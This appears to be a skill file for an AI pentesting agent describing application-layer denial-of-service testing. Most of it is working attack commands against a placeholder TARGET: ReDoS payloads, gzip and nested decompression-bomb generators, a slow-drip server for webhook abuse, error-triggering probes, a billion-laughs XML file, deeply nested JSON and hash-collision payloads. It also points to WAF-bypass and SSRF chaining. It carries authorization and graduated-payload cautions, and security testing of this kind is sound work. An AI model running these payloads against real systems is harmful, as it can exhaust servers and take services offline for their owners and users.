| name | app-layer-dos |
| description | Application-layer denial-of-service testing โ ReDoS, decompression bombs (gzip request bodies), server processing delays, GraphQL amplification cross-reference, and stack trace exploitation for DoS intelligence. Use when probing for resource exhaustion, regex-heavy input validation, compressed request handling, or slow-processing endpoints. |
Application-Layer Denial of Service
Systematic testing for application-layer resource exhaustion that bypasses infrastructure-level protections. These attacks consume CPU, memory, or thread pools through legitimate-looking requests โ no volumetric flood required.
When to Use
- Target accepts user-controlled input fed to regex validation (search, email, URL fields)
- Target accepts
Content-Encoding: gzip on request bodies
- Target has endpoints with observable processing delays (file parsing, report generation, PDF export, image processing)
- Stack traces or verbose errors leak framework/library versions useful for targeting known DoS vectors
- GraphQL surface exists (cross-reference with
graphql-pentest skill for batching/alias/fragment DoS)
Phase 1: ReDoS (Regular Expression Denial of Service)
Concept
Backtracking regex engines (PCRE, Python re, Ruby, Java java.util.regex, JavaScript RegExp) exhibit exponential time on crafted input when patterns contain nested quantifiers or overlapping alternations. A single request with a ~30-character payload can pin a CPU core for minutes.
Identify Regex Sinks
Look for input fields that perform pattern validation:
- Email fields (common regex:
^([a-zA-Z0-9_.+-]+@[a-zA-Z0-9-]+\.[a-zA-Z0-9-.]+)$)
- URL/URI validators
- Search with wildcard or regex support
- Username/password complexity checks
- File upload name validation
- Custom input formats (phone, postal code, ID numbers)
- API parameters documented as accepting "patterns" or "regex"
Probe Technique
Craft input that forces catastrophic backtracking. The general pattern is a long string of characters that match an ambiguous quantifier, followed by a character that forces backtrack:
PAYLOAD=$(python3 -c "print('a' * 35 + '!')")
time curl -sk -X POST "https://TARGET/api/validate" \
-H "Content-Type: application/json" \
-d "{\"email\": \"$PAYLOAD\"}"
Common Evil Patterns by Sink
| Sink | Likely Regex Pattern | Evil Input |
|---|
| Email | ([a-z]+)+@ | aaaaaaaaaaaaaaaaaaaaaaaaaaa! |
| URL | (https?://[^\s]+)+ | http:// + a ร 30 + \x01 |
| Search | (.*a){n} | a ร 25 + b |
| Filename | ([a-zA-Z0-9._-]+)+\. | a.a.a.a.a.a.a.a.a.a.a.a.a.a! |
Escalation
- Baseline first: Send normal valid input, record response time (3 samples).
- Incremental growth: Start at 20 chars, increase to 25, 30, 35. If response time grows exponentially (not linearly), ReDoS is confirmed.
- Thread exhaustion: If the server uses a synchronous worker pool, concurrent ReDoS requests can exhaust all workers. Do NOT test this in production without explicit authorization โ a single slow request is sufficient proof.
Evidence
for i in 1 2 3; do
curl -sk -w "time: %{time_total}s\n" -o /dev/null \
-X POST "https://TARGET/api/validate" \
-H "Content-Type: application/json" \
-d '{"email": "user@example.com"}'
done
for len in 20 25 30; do
PAYLOAD=$(python3 -c "print('a' * $len + '!')")
curl -sk -w "time: %{time_total}s\n" -o /dev/null \
-X POST "https://TARGET/api/validate" \
-H "Content-Type: application/json" \
-d "{\"email\": \"$PAYLOAD\"}"
done
Phase 2: Decompression Bombs (Gzip Request Bodies)
Concept
Many web frameworks transparently decompress Content-Encoding: gzip request bodies. A small compressed payload (~1 KB) can expand to gigabytes, exhausting server memory or disk.
Step 1: Check Gzip Support
echo '{"query": "test"}' | gzip > /tmp/normal.gz
curl -sk -X POST "https://TARGET/api/endpoint" \
-H "Content-Type: application/json" \
-H "Content-Encoding: gzip" \
--data-binary @/tmp/normal.gz
200 with valid response = gzip decompression active
400 "unable to decompress" or identical to uncompressed = no transparent decompression
415 Unsupported Media Type = explicitly rejected
Step 2: Craft Graduated Payloads
Do NOT send a multi-GB bomb. Start small and measure server behavior:
python3 -c "
import gzip, json
data = json.dumps({'data': 'A' * (1024 * 1024)}).encode()
with gzip.open('/tmp/bomb_1mb.gz', 'wb') as f:
f.write(data)
import os; print(f'Compressed: {os.path.getsize(\"/tmp/bomb_1mb.gz\")} bytes')
"
python3 -c "
import gzip, json
data = json.dumps({'data': 'A' * (10 * 1024 * 1024)}).encode()
with gzip.open('/tmp/bomb_10mb.gz', 'wb') as f:
f.write(data)
import os; print(f'Compressed: {os.path.getsize(\"/tmp/bomb_10mb.gz\")} bytes')
"
curl -sk -w "\nHTTP %{http_code} | time: %{time_total}s | size_download: %{size_download}\n" \
-X POST "https://TARGET/api/endpoint" \
-H "Content-Type: application/json" \
-H "Content-Encoding: gzip" \
--data-binary @/tmp/bomb_1mb.gz
What to Watch For
| Response | Meaning |
|---|
200 after long delay | Server decompressed and processed the full payload โ vulnerable |
413 Payload Too Large | Size limit applied AFTER decompression โ partial protection (test if limit is high enough to cause harm) |
400 or connection reset | Server crashed or OOM killed during decompression |
200 instant response | Server likely has a decompression size cap or streams without buffering |
Nested Gzip (Recursive Bomb)
Some frameworks recursively decompress. A gzip-within-gzip amplifies further:
python3 -c "
import gzip, io
# Inner layer: 10 MB of zeros
inner = gzip.compress(b'\x00' * (10 * 1024 * 1024))
# Outer layer: compress the compressed output
with gzip.open('/tmp/nested_bomb.gz', 'wb') as f:
f.write(inner)
import os; print(f'Final size: {os.path.getsize(\"/tmp/nested_bomb.gz\")} bytes')
"
Evidence
Document the compression ratio and server behavior:
- Compressed size sent (bytes on wire)
- Decompressed size (expected)
- Server response time vs baseline
- HTTP status code and any error messages
- Memory/CPU impact if observable (e.g., subsequent requests slow down)
Phase 3: Timeouts and Server Processing Delays
Concept
Endpoints that perform expensive server-side operations (PDF generation, image processing, report compilation, data export, search queries, file parsing) can be abused by triggering maximum-cost operations that tie up worker threads.
Identify Slow Endpoints
During reconnaissance, flag endpoints with observable latency:
for endpoint in /api/report /api/export /api/search /api/convert /api/analyze; do
curl -sk -w "$endpoint: %{time_total}s\n" -o /dev/null \
"https://TARGET$endpoint"
done
Look for:
- Report/export generators โ PDF, CSV, Excel exports with large data ranges
- Search endpoints โ especially with wildcard, regex, or full-text search support
- File processors โ image resize, document conversion, archive extraction
- Aggregation queries โ analytics dashboards, statistics endpoints
- Webhook/callback endpoints โ that fetch attacker-controlled URLs (tie up thread waiting on slow response)
Amplification Techniques
Large range parameters:
curl -sk -w "time: %{time_total}s\n" -o /dev/null \
"https://TARGET/api/report?from=2000-01-01&to=2099-12-31"
Expensive search queries:
curl -sk -w "time: %{time_total}s\n" -o /dev/null \
-X POST "https://TARGET/api/search" \
-H "Content-Type: application/json" \
-d '{"query": ".*", "limit": 999999}'
Slow-response webhook (if target fetches attacker URL):
python3 -c "
import http.server, time, socketserver
class SlowHandler(http.server.BaseHTTPRequestHandler):
def do_GET(self):
self.send_response(200)
self.send_header('Content-Type', 'text/plain')
self.send_header('Content-Length', '1000000')
self.end_headers()
# Drip-feed 1 byte per second
for i in range(100):
self.wfile.write(b'A')
self.wfile.flush()
time.sleep(1)
with socketserver.TCPServer(('', 8888), SlowHandler) as httpd:
httpd.handle_request()
" &
curl -sk "https://TARGET/api/webhook?url=http://YOUR_SERVER:8888/slow"
Evidence
Compare processing time for minimal vs maximal input on the same endpoint:
- Baseline: minimal parameters โ X ms
- Amplified: maximum parameters โ Y ms
- Multiplier: Y/X = amplification factor
- Document whether concurrent amplified requests compound the delay
Phase 4: Stack Trace Exploitation for DoS Intelligence
Concept
Verbose error responses and stack traces are not just information disclosure โ they are a roadmap to DoS vectors. Framework versions, library names, regex engines, parser implementations, and thread pool configurations revealed in stack traces inform targeted resource exhaustion.
Trigger Error Responses
curl -sk "https://TARGET/api/users/null"
curl -sk "https://TARGET/api/users/undefined"
curl -sk "https://TARGET/api/users/NaN"
curl -sk -X POST "https://TARGET/api/endpoint" \
-H "Content-Type: application/json" -d '{"id": [1,2,3]}'
curl -sk -X POST "https://TARGET/api/endpoint" \
-H "Content-Type: application/json" \
-d "{\"field\": \"$(python3 -c "print('A' * 100000)")\"}"
curl -sk -X POST "https://TARGET/api/endpoint" \
-H "Content-Type: application/xml" -d '{"json": true}'
curl -sk "https://TARGET/api/endpoint%00.json"
What to Extract
| Stack Trace Element | DoS Intelligence |
|---|
java.util.regex.Pattern | Java regex engine โ test ReDoS with (a+)+ patterns |
re.match / re.compile (Python) | Python re uses backtracking โ ReDoS viable |
Nokogiri::XML / lxml.etree | XML parser โ test XXE billion-laughs entity expansion |
PIL / Pillow / ImageMagick | Image processor โ test pixel-flood (small file, huge dimensions) |
json.loads with deep nesting error | JSON parser โ test deeply nested {{{...}}} for stack overflow |
Thread pool exhausted / Worker timeout | Thread pool sizing visible โ calculate concurrent requests needed |
Framework version (e.g., Spring 5.3.x, Express 4.x) | Search CVE databases for known DoS in that version |
java.lang.OutOfMemoryError | Memory limit visible โ calibrate decompression bomb size |
RecursionError (Python) | Recursion limit ~1000 โ test recursive data structures |
Workflow
- Trigger errors to extract framework/library intelligence
- Map extracted info to specific DoS techniques (ReDoS engine, parser type, thread pool model)
- Craft targeted payloads informed by the specific implementation
- This is strictly reconnaissance โ the intelligence feeds Phases 1-3 and the
graphql-pentest skill
Phase 5: Cross-Protocol Amplification
XML Entity Expansion (Billion Laughs)
If the target accepts XML input (SOAP, RSS, SVG upload, SAML, config import):
cat > /tmp/billion_laughs_lite.xml << 'XMLEOF'
<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
]>
<root>&lol4;</root>
XMLEOF
curl -sk -w "time: %{time_total}s\n" \
-X POST "https://TARGET/api/xml-endpoint" \
-H "Content-Type: application/xml" \
--data-binary @/tmp/billion_laughs_lite.xml
Scale entity depth only after confirming the parser expands entities at all. Full billion laughs (lol9) expands to ~3 GB โ use lol4/lol5 for proof, not destruction.
JSON Parser Abuse
Deeply nested JSON can cause stack overflow or excessive memory allocation:
python3 -c "
depth = 10000
payload = '{\"a\":' * depth + '1' + '}' * depth
print(payload)
" > /tmp/deep_json.json
curl -sk -w "time: %{time_total}s\n" \
-X POST "https://TARGET/api/endpoint" \
-H "Content-Type: application/json" \
--data-binary @/tmp/deep_json.json
Hash Collision DoS (HashDoS)
Older frameworks (PHP < 8.0, Python < 3.3 without randomized hashing, Java < 8u40) are vulnerable to crafted JSON keys that collide in the hash table, turning O(1) lookups into O(nยฒ):
python3 -c "
import json
# For demonstration โ actual collision keys depend on the hash function
keys = {f'key_{i:05d}': 'v' for i in range(50000)}
print(json.dumps(keys))
" > /tmp/hashmap_payload.json
curl -sk -w "time: %{time_total}s\n" \
-X POST "https://TARGET/api/endpoint" \
-H "Content-Type: application/json" \
--data-binary @/tmp/hashmap_payload.json
Rules
- Baseline first, always. Every DoS claim requires a timing comparison: normal input vs crafted input on the same endpoint. No baseline = no finding.
- Graduated payloads. Start small (1 MB, 20 regex chars, depth 100). Increase incrementally. The goal is to prove the vulnerability exists, not to crash the target.
- Single request proof. If a single crafted request causes measurable resource exhaustion, that is the finding. Do NOT send concurrent requests to amplify impact unless explicitly authorized for load testing.
- Exponential vs linear. ReDoS is confirmed by exponential growth curves โ if doubling input length roughly doubles time, that is linear and not ReDoS. True ReDoS shows 2x input โ 4x+ time.
- Stack traces are intelligence, not findings. Verbose errors are gadgets that inform DoS targeting. Report them as information disclosure only if they leak sensitive data (credentials, internal IPs, secrets). Framework version disclosure alone is informational, not a vulnerability.
- Cross-reference GraphQL. For GraphQL DoS (batching, alias amplification, circular fragments, deep nesting), use the
graphql-pentest skill โ it has the full methodology. This skill covers the app-layer DoS patterns that apply broadly, not GraphQL-specific vectors.
- Decompression bombs need gzip acceptance proof. Always confirm the target decompresses
Content-Encoding: gzip with a benign payload before sending any bomb. If gzip is not decompressed, skip this vector entirely.
Chain With
- graphql-pentest โ GraphQL-specific DoS vectors (batching amplification, alias amplification, circular fragment crashes, deep nesting)
- race-condition-single-packet โ combine slow processing with race conditions to amplify thread pool exhaustion
- h2-waf-bypass โ if WAF blocks oversized or malformed payloads, escalate via HTTP/2 framing tricks
- blind-ssrf-chains โ slow-response webhook abuse (Phase 3) overlaps with SSRF testing when target fetches attacker URLs
Reference